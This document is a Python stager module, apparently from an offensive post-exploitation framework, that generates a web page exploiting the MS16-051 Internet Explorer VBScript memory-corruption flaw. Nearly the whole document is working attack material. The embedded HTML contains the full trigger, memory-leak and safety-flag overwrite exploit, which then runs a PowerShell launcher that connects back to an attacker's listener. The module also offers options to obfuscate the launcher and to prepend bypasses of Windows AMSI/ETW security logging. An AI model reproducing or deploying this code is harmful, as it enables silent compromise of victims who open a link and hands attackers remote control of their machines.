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ms16-051.py
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ms16-051.py
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import logging
log = logging.getLogger(__name__)
class Stager:
def __init__(self, mainMenu):
self.info = {
"Name": "MS16-051 IE RCE",
"Authors": [
{
"Name": "CrossGroupSecurity",
"Handle": "",
"Link": "",
}
],
"Description": "Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which "
"works on IE9/10/11 and all versions of Windows. Target will have to open link with vulnerable version "
"of IE.",
"Comments": [
"https://github.com/CrossGroupSecurity/PowerShell-MS16-051-IE-RCE"
],
}
self.options = {
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
"Value": "",
},
"Language": {
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
"SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"StagerRetries": {
"Description": "Times for the stager to retry connecting.",
"Required": False,
"Value": "0",
},
"Base64": {
"Description": "Switch. Base64 encode the output.",
"Required": True,
"Value": "True",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"Obfuscate": {
"Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for "
"obfuscation types. For powershell only.",
"Required": False,
"Value": "False",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"ObfuscateCommand": {
"Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For "
"powershell only.",
"Required": False,
"Value": r"Token\All\1,Launcher\STDIN++\12467",
},
"OutFile": {
"Description": "Filename that should be used for the generated output, otherwise returned as a string.",
"Required": False,
"Value": "index.html",
},
"UserAgent": {
"Description": "User-agent string to use for the staging request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Proxy": {
"Description": "Proxy to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"ProxyCreds": {
"Description": r"Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Bypasses": {
"Description": "Bypasses as a space separated list to be prepended to the launcher",
"Required": False,
"Value": "mattifestation etw",
},
}
self.mainMenu = mainMenu
def generate(self):
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
base64 = self.options["Base64"]["Value"]
obfuscate = self.options["Obfuscate"]["Value"]
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
proxy = self.options["Proxy"]["Value"]
proxy_creds = self.options["ProxyCreds"]["Value"]
stager_retries = self.options["StagerRetries"]["Value"]
encode = False
if base64.lower() == "true":
encode = True
obfuscate_script = False
if obfuscate.lower() == "true":
obfuscate_script = True
if language in ["csharp", "ironpython"]:
if (
self.mainMenu.listenersv2.get_active_listener_by_name(
listener_name
).info["Name"]
!= "HTTP[S]"
):
log.error(
"Only HTTP[S] listeners are supported for C# and IronPython stagers."
)
return ""
launcher = self.mainMenu.stagers.generate_exe_oneliner(
language=language,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
encode=encode,
listener_name=listener_name,
)
elif language == "powershell":
launcher = self.mainMenu.stagers.generate_launcher(
listener_name,
language=language,
encode=encode,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
)
if launcher == "":
log.error("[!] Error in launcher command generation.")
return ""
return f"""
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set dm = New Dummy
addr = getAddr(arg1, dm)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
Set Object = CreateObject("Wscript.Shell")
Object.run("{launcher}")
End Function
Function triggerBug
aw.Resize()
Dim i
For i = 0 To 32
' 24000x2 + 6 = 48006 bytes
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}}
function intToStr(x)
{{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}}
var o;
o = {{"valueOf": function () {{
triggerBug();
return 1;
}}}};
setTimeout(function() {{exploit(o);}}, 50);
</script>
</body>
</html>
"""